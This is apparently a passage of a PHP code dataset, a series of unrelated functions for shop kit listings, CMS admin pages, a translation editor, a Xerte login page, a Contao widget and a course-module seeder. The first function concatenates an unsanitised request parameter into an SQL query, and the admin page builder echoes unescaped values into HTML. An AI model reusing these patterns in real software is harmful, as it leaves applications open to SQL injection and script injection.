vSku,vTitle,iProdId_PK,iKitId_PK,iSort,iQty FROM \".PRODUCTS.\", \".PRODUCTKITS.\" WHERE iProdId_PK=iProdId_FK AND iKitId='\".$this->request['kitid'].\"' order by iSort\";\n\t\t$this->obDb->query=$query1;\n\t\t$queryResult = $this->obDb->fetchQuery();\n\t\t$recordCount=$this->obDb->record_count;\n\t\tif($recordCount>0)\n\t\t{\n\t\t\t#PARSING TPL_ITEMS_BLK\n\t\t\tfor($j=0;$j<$recordCount;$j++)\n\t\t\t{\n\t\t\t\n\t\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_QTY\",$queryResult[$j]->iQty);\n\t\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_SORT\",$queryResult[$j]->iSort);\n\t\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_SKU\",$this->libFunc->m_displayContent($queryResult[$j]->vSku));\n\t\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_TITLE\",$this->libFunc->m_displayContent($queryResult[$j]->vTitle));\n\t\t\t\t\t$str=str_replace(\"'\",\"\\'\",$this->libFunc->m_displayContent($queryResult[$j]->vTitle));\n\t\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_TITLE1\",$str);\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_PID\",$queryResult[$j]->iProdId_PK);\n\t\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_KID\",$queryResult[$j]->iKitId_PK);\n\t\t\t\t\t$this->ObTpl->parse(\"attached_blk\",\"TPL_ATTACHED_BLK\",true);\n\t\t\t\n\t\t\t}\n\n\t\t\t$this->ObTpl->parse(\"main_blk\",\"TPL_MAIN_BLK\");\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\t$this->ObTpl->set_var(\"attached_blk\",\"\");\n\t\t\t\t$this->ObTpl->parse(\"main_blk\",\"TPL_MAIN_BLK\");\n\t\t}\n\t\t#END DISPLAY CURRENTLY ATTACHED ITEMS\n\t\t$this->ObTpl->set_var(\"TPL_VAR_KITID\",$this->request['kitid']);\n\t\tif(empty($this->request['kitid']))\n\t\t{\n\t\t\t$this->ObTpl->set_var(\"main_blk\",\"\");\n\t\t\t$this->ObTpl->set_var(\"TPL_BTNLBL\",LBL_BUILDPACK);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->ObTpl->set_var(\"TPL_BTNLBL\",LBL_ADDTOPACK);\n\t\t}\n\t\treturn($this->ObTpl->parse(\"return\",\"TPL_PACKAGE_FILE\"));\n\t}", "function adminHTML($content, $lang, $wisig = false, $se = \"\", $conf = array(), $jQuery = false, $options = array(\"title\" => \"Admin\")){\necho '<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n\t<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"fr\" lang=\".$lang.\">\n\t<head>\n\t<meta http-equiv=\"Content-Type\" content=\"text/html charset=UTF-8\" />\n\t<title>BackpackCSM &middot; '.$options[\"title\"].'</title>\n\t<link rel=\"icon\" href=\"../favicon.ico\" type=\"image/x-icon\" />\n\t<link rel=\"stylesheet\" type=\"text/css\" href=\"admin.css\" />';\n\t\n\tfunction sel($e, $i){\n\t\tif($i==$e){\n\t\treturn ' class=\"selected\"';\n\t\t}\n\t}\n\t\n\tfunction selImg($e,$i){\n\t\tif($i==$e){\n\t\t// return '_sel';\n\t\treturn '';\n\t\t}\n\t}\n\t\n\t// Inclusion de jQuery sur certaines pages (+ scripts perso)\n\tif(is_array($conf) && $jQuery == true){\n\t\techo '<script src=\"http://'.$_SERVER[\"SERVER_NAME\"].'/'.$conf[\"install_folder\"].'javascript/jquery-1.4.2.min.js\" type=\"text/javascript\"></script>';\n\t\techo '<script src=\"http://'.$_SERVER[\"SERVER_NAME\"].'/'.$conf[\"install_folder\"].'javascript/BackpackCMS.js\" type=\"text/javascript\"></script>';\n\t}\n\t// Inclusions du WISIG sur certaines pages\n\tif(is_array($conf) && $wisig == true){\n\t\techo '<script type=\"text/javascript\" src=\"http://'.$_SERVER[\"SERVER_NAME\"].'/'.$conf[\"install_folder\"].'javascript/nice.edit.js\"></script>';\n\t\techo '<script type=\"text/javascript\" src=\"http://'.$_SERVER[\"SERVER_NAME\"].'/'.$conf[\"install_folder\"].'javascript/tinymce/tiny_mce.js\"></script>';\n\t\techo '<script type=\"text/javascript\" src=\"http://'.$_SERVER[\"SERVER_NAME\"].'/'.$conf[\"install_folder\"].'javascript/WisigEditor.js\"></script>';\n\t}\n\t\n\techo '</head>\n\t<body>\n\t<div id=\"admin-container\">';\n\t\techo '<div id=\"admin-header\">';\n\t\t\t// Inclusion du lien de déconnexion et rappel du login si connect\"\n\t\t\tif($_SESSION[\"valid\"] == true){\n\t\t\t\techo '<div id=\"admin-user\"><span style=\"color:#DFDDD0\">'.$_SESSION[\"login\"].'</span> &middot; <a href=\"logout\">'.tr(\"Déconnexion\").'</a></div>';\n\t\t\t}\n\t\techo '<h1 class=\"admin-title\">BackpackCMS</h1>';\n\t\techo '</div>';\n\t\t\n\t\t$s = '';\n\t\tif($_SESSION['valid'] == true){\n\t\techo '<div id=\"admin-nav-menu\" class=\"admin-nav round\">\n\t\t\t<div class=\"box-title first\">\n\t\t\t\t<table>\n\t\t\t\t<tr>\n\t\t\t\t\t<td><img src=\"img/panel.png\" width=\"16\" height=\"16\" align=\"left\" alt=\"Content Image\" /></td>\n\t\t\t\t\t<td>'.tr(\"Gestion du contenu\").'</td>\n\t\t\t\t</tr>\n\t\t\t\t</table>\n\t\t\t</div>\n\t\t\t<ul>\n\t\t\t\t<li><a id=\"m1\" href=\"index?m=m1\"'.sel($se,'m1').'>'.tr(\"Tableau de bord\").'</a></li>\n\t\t\t\t<li><a id=\"m2\" href=\"pages-new?m=m2\"'.sel($se,'m2').'>'.tr(\"Nouvelle page\").'</a></li>\n\t\t\t\t<li><a id=\"m3\" href=\"pages-manage?m=m3\"'.sel($se,'m3').'>'.tr(\"Gestion de pages\").'</a></li>\n\t\t\t\t<li><a id=\"m7\" href=\"media-uploads?m=m7\"'.sel($se,'m7').'>'.tr(\"Media et images\").'</a></li>\n\t\t\t</ul>\n\t\t\t\n\t\t\t<div class=\"box-title\">\n\t\t\t\t<table>\n\t\t\t\t<tr>\n\t\t\t\t\t<td><img src=\"img/layout.png\" width=\"16\" height=\"16\" align=\"left\" alt=\"Content Image\" /></td>\n\t\t\t\t\t<td>'.tr(\"Apparence\").'</td>\n\t\t\t\t</tr>\n\t\t\t\t</table></div>\n\t\t\t<ul>\n\t\t\t\t<li><a id=\"m5\" href=\"settings?m=m5\"'.sel($se,'m5').'>'.tr(\"Réglages et paramètres\").'</a></li>\n\t\t\t\t<li><a id=\"m10\" href=\"template-edit?m=m10\"'.sel($se,'m10').'>'.tr(\"Modifier l'apparence\").'</a></li>\n\t\t\t</ul>\n\t\t\t\n\t\t\t<div class=\"box-title\">\n\t\t\t\t<table>\n\t\t\t\t<tr>\n\t\t\t\t\t<td><img src=\"img/list.png\" width=\"16\" height=\"16\" align=\"left\" alt=\"Content Image\" /></td>\n\t\t\t\t\t<td>'.tr(\"Administration\").'</td>\n\t\t\t\t</tr>\n\t\t\t\t</table></div>\n\t\t\t<ul>\n\t\t\t\t<li><a id=\"m6\" href=\"accounts?m=m6\"'.sel($se,'m6').'>'.tr(\"Comptes utilisateurs\").'</a></li>\n\t\t\t\t<li><a id=\"m7\" href=\"import-export?m=m11\"'.sel($se,'m11').'>'.tr(\"Importer, exporter\").'</a></li>\n\t\t\t\t<li><a id=\"m8\" href=\"plugins-manage?m=m8\"'.sel($se,'m8').'>'.tr(\"Gestion des extensions\").'</a></li>\n\t\t\t</ul>\n\t\t\t\n\t\t\t<div class=\"box-title\">\n\t\t\t\t<table>\n\t\t\t\t<tr>\n\t\t\t\t\t<td><img src=\"img/eye.png\" width=\"16\" height=\"16\" align=\"left\" alt=\"Content Image\" /></td>\n\t\t\t\t\t<td>'.tr(\"Visusalisation\").'</td>\n\t\t\t\t</tr>\n\t\t\t\t</table></div>\n\t\t\t<ul>\n\t\t\t\t<li><a id=\"m9\" href=\"../index\"'.sel($se,'m9').' target=\"_target\">'.tr(\"Voir le site\").'</a></li>\n\t\t\t</ul>\n\t\t\t\n\t\t\t<div class=\"box-title\">\n\t\t\t\t<table>\n\t\t\t\t<tr>\n\t\t\t\t\t<td><img src=\"img/help.png\" width=\"16\" height=\"16\" align=\"left\" alt=\"Content Image\" /></td>\n\t\t\t\t\t<td>'.tr(\"Autres liens\").'</td>\n\t\t\t\t</tr>\n\t\t\t\t</table>\n\t\t\t</div>\n\t\t\t<ul>\n\t\t\t\t<li><a href=\"SpecialArnosteo.php\">Pense-bête</a></li>\n\t\t\t\t<li><a href=\"https://sites.google.com/site/backpackcmsaide/presentation/modifier-le-theme\" target=\"_blank\">Modifier l\\'apparence</a></li>\n\t\t\t\t<li><a href=\"https://sites.google.com/site/backpackcmsaide/presentation/sauvegarder-son-site\" target=\"_blank\">Sauvegarder mon site</a></li>\n\t\t\t</ul>\n\t\t</div>';\n\t\t\n\t\t// Enlève la marge admin content\n\t\t} else {\n\t\t\t$st = ' style=\"margin-left:0px;\"';\n\t\t}\n\t\n\techo '<div id=\"admin-content\"'.$st.'>'.$content.'</div>';\n\t\n\techo '<div class=\"clear\"></div>';\n\techo '<br />';\n\t// echo '<div id=\"admin-footer\">&copy; Copyright 2011 BackpackCMS | <a href=\"logout\">Déconnexion</a> | <a href=\"http://backpackcms.honeyshare.fr/bug\">Déclarer un bug</a></div>';\necho '</div>\n</body>\n</html>';\n}", "function educoAdminPrepareHead() {\n global $langs, $conf;\n\n $langs->load(\"educo@educo\");\n\n $h = 0;\n $head = array();\n\n $head[$h][0] = dol_buildpath(\"/educo/admin/setup.php\", 1);\n $head[$h][1] = $langs->trans(\"Settings\");\n $head[$h][2] = 'settings';\n $h++;\n $head[$h][0] = dol_buildpath(\"/educo/admin/about.php\", 1);\n $head[$h][1] = $langs->trans(\"About\");\n $head[$h][2] = 'about';\n $h++;\n\n // Show more tabs from modules\n // Entries must be declared in modules descriptor with line\n //$tabs = array(\n //\t'entity:+tabname:Title:@educo:/educo/mypage.php?id=__ID__'\n //); // to add new tab\n //$tabs = array(\n //\t'entity:-tabname:Title:@educo:/educo/mypage.php?id=__ID__'\n //); // to remove a tab\n complete_head_from_modules($conf, $langs, $object, $head, $h, 'educo');\n\n return $head;\n}", "private function setupPage ()\n {\n $output = '<!DOCTYPE html><html lang=\"en\"><head>';\n $output .= $this->setCharacterEncoding();\n $output .= $this->setPageTitle();\n $output .= $this->setBasePath();\n $output .= $this->registerResource('css', $this->cssResource);\n $output .= $this->registerResource('js', $this->jsResource);\n $output .= $this->fixHTML5();\n $output .= '</head><body>';\n echo $output;\n }", "public function htmlOutput()\n {\n $arrayOfLattes = glob('template/*.latte');\n if ($arrayOfLattes === false) {\n return 'No templates found.';\n }\n $found = []; // translations found in latte templates\n foreach ($arrayOfLattes as $file) {\n $tempFileContents = file_get_contents($file);\n Assert::string($tempFileContents);\n preg_match_all('~\\{=(\"([^\"]+)\"|\\'([^\\']+)\\')\\|translate\\}~i', $tempFileContents, $matches);\n $found = array_merge($found, $matches[2]);\n }\n $found = array_unique($found);\n $output = '<h1><i class=\"fa fa-globe\"></i> ' . $this->tableAdmin->translate('Translations')\n . '</h1><div id=\"agenda-translations\">'\n . '<form action=\"\" method=\"post\" onsubmit=\"return confirm(\\''\n . $this->tableAdmin->translate('Are you sure?') . '\\')\">'\n . Tools::htmlInput('translations', '', 1, array('type' => 'hidden'))\n . Tools::htmlInput('token', '', end($_SESSION['token']), 'hidden')\n . Tools::htmlInput('old_name', '', '', array('type' => 'hidden', 'id' => 'old_name'))\n . '<table class=\"table table-striped\"><thead><tr><th style=\"width:'\n . intval(100 / (count($this->tableAdmin->TRANSLATIONS) + 1)) . '%\">'\n . Tools::htmlInput('one', '', false, 'radio') . '</th>';\n $translations = $keys = [];\n $localisation = new L10n($this->prefixUiL10n, $this->tableAdmin->TRANSLATIONS);\n foreach ($this->tableAdmin->TRANSLATIONS as $key => $value) {\n $output .= \"<th>$value</th>\";\n $translations[$key] = $localisation->readLocalisation($key);\n $keys = array_merge($keys, array_keys($translations[$key]));\n }\n $output .= '</tr></thead><tbody>' . PHP_EOL;\n $keys = array_unique($keys);\n natcasesort($keys);\n foreach ($keys as $key) {\n $output .= '<tr><th>'\n . Tools::htmlInput('one', '', $key, array('type' => 'radio', 'class' => 'translation')) . ' '\n . Tools::h((string) $key) . '</th>';\n foreach ($this->tableAdmin->TRANSLATIONS as $code => $value) {\n $output .= '<td>' . Tools::htmlInput(\n \"tr[$code][$key]\",\n '',\n Tools::set($translations[$code][$key], ''),\n ['class' => 'form-control form-control-sm', 'title' => \"$code: $key\"]\n ) . '</td>';\n }\n $output .= '</tr>' . PHP_EOL;\n if ($key = array_search($key, $found)) {\n unset($found[$key]);\n }\n }\n $output .= '<tr><td>' . Tools::htmlInput(\n 'new[0]',\n '',\n '',\n ['class' => 'form-control form-control-sm', 'title' => $this->tableAdmin->translate('New record')]\n ) . '</td>';\n foreach ($this->tableAdmin->TRANSLATIONS as $key => $value) {\n $output .= '<td>' . Tools::htmlInput(\n \"new[$key]\",\n '',\n '',\n ['class' => 'form-control form-control-sm',\n 'title' => $this->tableAdmin->translate('New record') . ' (' . $value . ')']\n ) . '</td>';\n }\n $output .= '</tr></tbody></table>\n <button name=\"translations\" type=\"submit\" class=\"btn btn-secondary\"><i class=\"fa fa-save\"></i> '\n . $this->tableAdmin->translate('Save') . '</button>\n <button name=\"delete\" type=\"submit\" class=\"btn btn-secondary\" value=\"1\"><i class=\"fa fa-dot-circle\"></i>\n <i class=\"fa fa-trash\"></i> ' . $this->tableAdmin->translate('Delete') . '</button>\n <fieldset class=\"d-inline-block position-relative\"><div class=\"input-group\" id=\"rename-fieldset\">'\n . '<div class=\"input-group-prepend\">\n <button class=\"btn btn-secondary\" type=\"submit\"><i class=\"fa fa-dot-circle\"></i> '\n . '<i class=\"fa fa-i-cursor\"></i> ' . $this->tableAdmin->translate('Rename') . '</button>\n </div>'\n . Tools::htmlInput('new_name', '', '', ['class' => 'form-control', 'id' => 'new_name'])\n . '</div></fieldset>\n </form></div>' . PHP_EOL;\n $output .= count($found)\n ? ('<h2 class=\"mt-4\">' . $this->tableAdmin->translate('Missing translations in templates') . '</h2><ul>')\n : '';\n foreach ($found as $value) {\n $output .= '<li><code>' . Tools::h($value) . '</code></li>' . PHP_EOL;\n }\n $output .= count($found) ? '</ul>' : '';\n return $output;\n }", "function mgt_page($xerte_toolkits_site, $extra)\n{\n ?>\n <!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n <html xmlns=\"http://www.w3.org/1999/xhtml\">\n <head>\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n <title><?PHP echo $xerte_toolkits_site->site_title; ?></title>\n <link rel=\"icon\" href=\"favicon.ico\" type=\"image/x-icon\" />\n <link rel=\"shortcut icon\" href=\"favicon.ico\" type=\"image/x-icon\" />\n <script type=\"text/javascript\">\n <?PHP\n echo \"var site_url = \\\"\" . $xerte_toolkits_site->site_url . \"\\\";\\n\";\n\n echo \"var site_apache = \\\"\" . $xerte_toolkits_site->apache . \"\\\";\\n\";\n\n echo \"var properties_ajax_php_path = \\\"website_code/php/properties/\\\";\\n var management_ajax_php_path = \\\"website_code/php/management/\\\";\\n var ajax_php_path = \\\"website_code/php/\\\";\\n\";\n ?></script>\n\n\n\n <link href=\"website_code/styles/frontpage.css\" media=\"screen\" type=\"text/css\" rel=\"stylesheet\" />\n <link href=\"website_code/styles/xerte_buttons.css\" media=\"screen\" type=\"text/css\" rel=\"stylesheet\" />\n\t\t\t<link rel=\"stylesheet\" type=\"text/css\" href=\"modules/xerte/parent_templates/Nottingham/common_html5/font-awesome-4.3.0/css/font-awesome.min.css\">\n\n <!--\n\n HTML to use to set up the login page\n The {{}} pairs are replaced in the page formatting functions in display library\n\n Version 1.0\n\n -->\n <style>\n body {\n background:white;\n }\n </style>\n\n <?php\n if (file_exists($xerte_toolkits_site->root_file_path . \"branding/branding.css\"))\n {\n ?>\n <link href='branding/branding.css' rel='stylesheet' type='text/css'>\n <?php\n }\n else {\n ?>\n <?php\n }\n ?>\n </head>\n\n <body>\n\n <header class=\"topbar\">\n <?php\n if (file_exists($xerte_toolkits_site->root_file_path . \"branding/logo_right.png\"))\n {\n ?>\n <div\n style=\"width:50%; height:100%; float:right; position:relative; background-image:url(<?php echo \"branding/logo_right.png\";?>); background-repeat:no-repeat; background-position:right; margin-right:10px; float:right\">\n </div>\n <?php\n }\n else {\n ?>\n <div\n style=\"width:50%; height:100%; float:right; position:relative; background-image:url(website_code/images/apereoLogo.png); background-repeat:no-repeat; background-position:right; margin-right:10px; float:right\">\n </div>\n <?php\n }\n if (file_exists($xerte_toolkits_site->root_file_path . \"branding/logo_left.png\"))\n {\n ?>\n <img src=\"<?php echo \"branding/logo_left.png\";?>\" style=\"margin-left:10px; float:left\" alt=\"<?php echo MANAGEMENT_LOGO_ALT; ?>\"/>\n <?php\n }\n else {\n ?>\n <img src=\"website_code/images/logo.png\" style=\"margin-left:10px; float:left\" alt=\"<?php echo MANAGEMENT_LOGO_ALT; ?>\"/>\n <?php\n }\n ?>\n </header>\n\n\n\t\t\t<main class=\"mainbody\">\n\t\t\t\t<div class=\"title_holder\">\n\t\t\t\t\t<h1 class=\"title_welcome\">\n\t\t\t\t\t\t<?PHP echo $xerte_toolkits_site->welcome_message; ?>\n\t\t\t\t\t</h1>\n\t\t\t\t\t<div class=\"mainbody_holder\">\n\t\t\t\t\t\t<div style=\"margin:0 7px 4px 0\"><?PHP echo MANAGEMENT_LOGIN; ?></div>\n\t\t\t\t\t\t<form method=\"post\" enctype=\"application/x-www-form-urlencoded\" >\n\t\t\t\t\t\t\t<p style=\"margin:4px\"><label for=\"login_box\"><?PHP echo MANAGEMENT_USERNAME; ?>:</label>\n\t\t\t\t\t\t\t<input class=\"xerte_input_box\" type=\"text\" size=\"20\" maxlength=\"100\" name=\"login\" id=\"login_box\"/></p>\n\t\t\t\t\t\t\t<p style=\"margin:4px\"><label for=\"password\"><?PHP echo MANAGEMENT_PASSWORD; ?>:</label>\n\t\t\t\t\t\t\t<input class=\"xerte_input_box\" type=\"password\" size=\"20\" maxlength=\"100\" name=\"password\" id=\"password\"/></p>\n\t\t\t\t\t\t\t<button type=\"submit\" class=\"xerte_button\" style=\"margin:0 3px 0 0\"><i class=\"fa fa-sign-in\"></i> <?php echo MANAGEMENT_BUTTON_LOGIN; ?></button>\n\t\t\t\t\t\t</form>\n\t\t\t\t\t\t<script>document.getElementById(\"login_box\").focus();</script>\n\t\t\t\t\t\t<!--<p><?PHP echo $extra; ?></p>-->\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t\t\t<div style=\"clear:both;\"></div>\n\t\t\t</main>\n\n\t\t\t<div class=\"bottompart\">\n\t\t\t\t<div class=\"border\"></div>\n\t\t\t\t<footer>\n\t\t\t\t\t<p class=\"copyright\">\n\t\t\t\t\t\t<?php echo $xerte_toolkits_site->copyright; ?> <i class=\"fa fa-info-circle\" aria-hidden=\"true\" style=\"color:#f86718; cursor: help;\" title=\"<?PHP $vtext = \"version.txt\";$lines = file($vtext);echo $lines[0];?>\"></i>\n\t\t\t\t\t</p>\n\t\t\t\t\t<div class=\"footerlogos\">\n\t\t\t\t\t\t<a href=\"https://xot.xerte.org.uk/play.php?template_id=214#home\" target=\"_blank\" title=\"Xerte accessibility statement https://xot.xerte.org.uk/play.php?template_id=214\"><img src=\"website_code/images/wcag2.1AA-blue-v.png\" border=\"0\" alt=\"<?php echo MANAGEMENT_WCAG_LOGO_ALT; ?>\"></a><a href=\"https://opensource.org/\" target=\"_blank\" title=\"Open Source Initiative: https://opensource.org/\"><img src=\"website_code/images/osiFooterLogo.png\" border=\"0\" alt=\"<?php echo MANAGEMENT_OSI_LOGO_ALT; ?>\"></a><a href=\"https://www.apereo.org\" target=\"_blank\" title=\"Apereo: https://www.apereo.org\"><img src=\"website_code/images/apereoFooterLogo.png\" border=\"0\" alt=\"<?php echo MANAGEMENT_APEREO_LOGO_ALT; ?>\"></a><a href=\"https://xerte.org.uk\" target=\"_blank\" title=\"Xerte: https://xerte.org.uk\"><img src=\"website_code/images/xerteFooterLogo.png\" border=\"0\" alt=\"<?php echo MANAGEMENT_XERTE_LOGO_ALT; ?>\"></a>\n\t\t\t\t\t</div>\n\t\t\t\t</footer>\n\t\t\t</div>\n </body>\n </html>\n\n\n <?PHP\n}", "public function generate()\n\t{\n if (is_array($GLOBALS['TL_JAVASCRIPT']))\n\t\t{\n\t\t\tarray_insert($GLOBALS['TL_JAVASCRIPT'], 1, 'bundles/hschottmtextwizard/js/textwizard.min.js');\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$GLOBALS['TL_JAVASCRIPT'] = array('bundles/hschottmtextwizard/js/textwizard.min.js');\n\t\t}\n\n\t\t$arrButtons = array('new', 'copy', 'delete', 'drag');\n\t\t// Make sure there is at least an empty array\n\t\tif (empty($this->varValue) || !\\is_array($this->varValue))\n\t\t{\n\t\t\t$this->varValue = array('');\n\t\t}\n\t\t// Initialize the tab index\n\t\tif (!\\Cache::has('tabindex'))\n\t\t{\n\t\t\t\\Cache::set('tabindex', 1);\n\t\t}\n\n $hasTitles = array_key_exists('buttonTitles', $this->arrConfiguration) && is_array($this->arrConfiguration['buttonTitles']);\n\n $return = ($this->wizard) ? '<div class=\"tl_wizard\">' . $this->wizard . '</div>' : '';\n\t\t$return .= '<ul id=\"ctrl_'.$this->strId.'\" class=\"tl_listwizard tl_textwizard\">';\n\t\t// Add input fields\n\t\tfor ($i=0, $c=\\count($this->varValue); $i<$c; $i++)\n\t\t{\n\t\t\t$return .= '\n <li><input type=\"text\" name=\"'.$this->strId.'[]\" class=\"tl_text\" value=\"'.\\StringUtil::specialchars($this->varValue[$i]).'\"' . $this->getAttributes() . '> ';\n\t\t\t// Add buttons\n\t\t\tforeach ($arrButtons as $button)\n\t\t\t{\n\t\t\t\tif ($button == 'drag')\n\t\t\t\t{\n\t\t\t\t\t$return .= ' <button type=\"button\" class=\"drag-handle\" title=\"' . \\StringUtil::specialchars($GLOBALS['TL_LANG']['MSC']['move']) . '\" aria-hidden=\"true\">' . \\Image::getHtml('drag.svg') . '</button>';\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n $buttontitle = ($hasTitles && array_key_exists($button, $this->arrConfiguration['buttonTitles'])) ? $this->arrConfiguration['buttonTitles'][$button] : $GLOBALS['TL_LANG']['MSC']['lw_'.$button];\n\t\t\t\t\t$return .= ' <button type=\"button\" data-command=\"' . $button . '\" title=\"' . \\StringUtil::specialchars($buttontitle) . '\">' . \\Image::getHtml($button.'.svg') . '</button>';\n\t\t\t\t}\n\t\t\t}\n\t\t\t$return .= '</li>';\n\t\t}\n\t\treturn $return.'\n </ul>\n <script>TextWizard.textWizard(\"ctrl_'.$this->strId.'\")</script>';\n\t}", "public function run()\n {\n $modules = [\n 'Computer Science',\n 'Information Systems',\n 'Computer Engineering',\n 'Business Analytics',\n 'Information Security',\n 'Algorithms & Theory',\n 'Artificial Intelligence',\n 'Computer Graphics and Games',\n 'Computer Security',\n 'Database Systems',\n 'Multimedia Information Retrieval',\n 'Networking and Distributed Systems',\n 'Parallel Computing',\n 'Programming Languages',\n 'Software Engineering',\n 'Interactive Media',\n 'Visual Computing',\n 'CS1010 Programming Methodology',\n 'CS1020 Data Structures and Algorithms I',\n 'CS2010 Data Structures and Algorithms II',\n 'CS1231 Discrete Structures',\n 'CS2100 Computer Organisation',\n 'CS2103T Software Engineering',\n 'CS2105 Introduction to Computer Networks',\n 'CS2106 Introduction to Operating Systems',\n 'CS3230 Design and Analysis of Algorithms',\n 'CS3201 Software Engineering Project',\n 'CS3202 Software Engineering Project II',\n 'CS3216 Software Product Engineering for Digital Markets',\n 'CS3217 Software Engineering on Modern Application Platforms',\n 'CS3281 Thematic Systems Project I',\n 'CS3282 Thematic Systems Project II',\n 'CS3283 Media Technology Project I',\n 'CS3284 Media Technology Project II',\n 'IS1103/FC/X Computing and Society',\n 'CS2101 Effective Communication for Computing Professionals',\n 'ES2660 Communicating in the Information Age',\n 'MA1301/FC/X Introductory Mathematics',\n 'MA1521 Calculus for Computing',\n 'MA1101R Linear Algebra I',\n 'ST2334 Probability and Statistics',\n 'ST2131 Probability',\n 'ST2132 Mathematical Statistics',\n 'PC1221/FC/X Fundamental of Physics I',\n 'PC1222/X Fundamentals of Physics II',\n 'CS1101S Programming Methodology',\n 'CS2020 Data Structures and Algorithms Accelerated',\n 'CM1121 ORGANIC CHEMISTRY 1',\n 'CM1131 PHYSICAL CHEMISTRY 1',\n 'CM1417 FUNDAMENTALS OF CHEMISTRY',\n 'LSM1301 GENERAL BIOLOGY',\n 'LSM1302 GENES AND SOCIETY',\n 'PC1141 PHYSICS I',\n 'PC1142 PHYSICS II',\n 'PC1143 PHYSICS III',\n 'PC1144 PHYSICS IV',\n 'PC1221 FUNDAMENTALS OF PHYSICS I ',\n 'PC1222 FUNDAMENTALS OF PHYSICS II PC1432 PHYSICS IIE',\n 'MA2213 NUMERICAL ANALYSIS I',\n 'MA2214 COMBINATORICS AND GRAPHS I',\n 'CM1101 PRINCIPLES OF MODERN CHEMISTRY ',\n 'CM1111 INORGANIC CHEMISTRY 1',\n 'CM1161 PRINCIPLESOF CHEMICAL PROCESS I ',\n 'CM1191 EXPERIMENTS IN CHEMISTRY 1 ',\n 'CM1401 CHEMISTRY FOR LIFE SCIENCES',\n 'CM1402 GENERAL CHEMISTRY',\n 'CM1501 ORGANIC CHEMISTRY FOR ENGINEERS',\n 'CM1502 GENERAL AND PHYSICAL CHEMISTRY FOR ENGINEERS ',\n 'LSM1303 ANIMAL BEHAVIOUR',\n 'PC1421 PHYSICS FOR LIFE SCIENCES',\n 'PC1431 PHYSICS IE',\n 'PC1433 MECHANICS AND WAVES',\n 'MA1104 MULTIVARIABLE CALCULUS',\n 'MA2101 LINEAR ALGEBRA II',\n 'MA2108 MATHEMATICAL ANALYSIS I',\n 'MA2501 DIFFERENTIAL EQUATIONS AND SYSTEMS',\n 'ST2132 MATHEMATICAL STATISTICS',\n 'ST2137 COMPUTER AIDED DATA ANALYSIS',\n 'CS3230 Design and Analysis of Algorithms (CFM)',\n 'CS3236 Introduction to Information Theory',\n 'CS4231 Parallel and Distributed Algorithms',\n 'CS4232 Theory of Computation',\n 'CS4234 Optimisation Algorithms',\n 'CS3233 Competitive Programming',\n 'CS5230 Computational Complexity',\n 'CS5234 Combinatorial and Graph Algorithms',\n 'CS5237 Computational Geometry and Applications',\n 'CS5238 Advanced Combinatorial Methods in Bioinformatics',\n 'CS3243 Introduction to Artificial Intelligence',\n 'CS3244 Machine Learning',\n 'CS4244 Knowledge-Based Systems',\n 'CS4246 AI Planning and Decision Making',\n 'CS4216 Constraint Logic Programming',\n 'CS4220 Knowledge Discovery Methods in Bioinformatics',\n 'CS4248 Natural Language Processing',\n 'CS5209 Foundation in Logic & AI',\n 'CS5215 Constrained Programming',\n 'CS5228 Knowledge Discovery and Data Mining',\n 'CS5247 Motion Planning and Applications',\n 'CS5340 Uncertainty Modelling in AI',\n 'CS3241 Computer Graphics',\n 'CS3242 3D Modelling and Animation',\n 'CS3247 Game Development',\n 'CS4247 Graphics Rendering Techniques',\n 'CS4350 Game Development Project',\n 'CS3218 Multimodal Processing in Mobile Platforms',\n 'CS3240 Interaction Design',\n 'CS3249 User Interface Development',\n 'CS3343 Digital Media Production',\n 'CS4243 Computer Vision and Pattern Recognition',\n 'CS4249 Phenomena and Theories of HCI',\n 'CS4340 Digital Special Effects',\n 'CS4344 Network and Mobile Gaming',\n 'CS4345 General-Purpose Computation on GPU',\n 'CS5240 Theoretical Foundation of Multimedia',\n 'CS2107 Introduction to Information Security',\n 'CS3235 Computer Security',\n 'CS4236 Cryptography Theory and Practice',\n 'CS4238 Computer Security Practices',\n 'CS3221 Operating Systems Design and Pragmatics',\n 'CS4239 Software Security',\n 'CS5231 Systems Security',\n 'CS5321 Network Security',\n 'CS5322 Database Security',\n 'CS5331 Web Security',\n 'IFS4101 Legal Aspects of Information Security',\n 'IS3230 Principles of Information Security',\n 'IS4231 Information Security Management',\n 'IS4232 Topics in Information Security',\n 'CS2102 Database Systems',\n 'CS3223 Database Systems Implementation',\n 'CS4221 Database Applications Design and Tuning',\n 'CS4224 Distributed Databases',\n 'CS4225 Massive Data Processing Techniques in Data Science',\n 'CS5226 Database Tuning',\n 'CS2108 Introduction to Media Computing&',\n 'CS3245 Information Retrieval',\n 'CS4242 Social Media Computing',\n 'CS4347 Sound and Music Computing',\n 'CS5246 Text Processing on the Web',\n 'CS5241 Speech Processing',\n 'CS6242 Digital Libraries',\n 'CS5342 Multimedia Computing and Applications',\n 'CS3103 Computer Networks Practice',\n 'CS4222 Wireless Computing',\n 'CS4226 Internet Architecture',\n 'CS4274 Mobile and Multimedia Networking',\n 'CS4344 Networked and Mobile Gaming',\n 'CS5223 Distributed Systems',\n 'CS5229 Advanced Computer Networks',\n 'CS5248 Systems Support for Continuous Media',\n 'CS3210 Parallel Computing',\n 'CS3211 Parallel and Concurrent Programming',\n 'CS4223 Multi-core Architecture',\n 'CS4237 Systems Modelling and Simulation',\n 'CS4271 Critical Systems and Their Verification',\n 'CS5207 Foundation in Operating Systems',\n 'CS5222 Advanced Computer 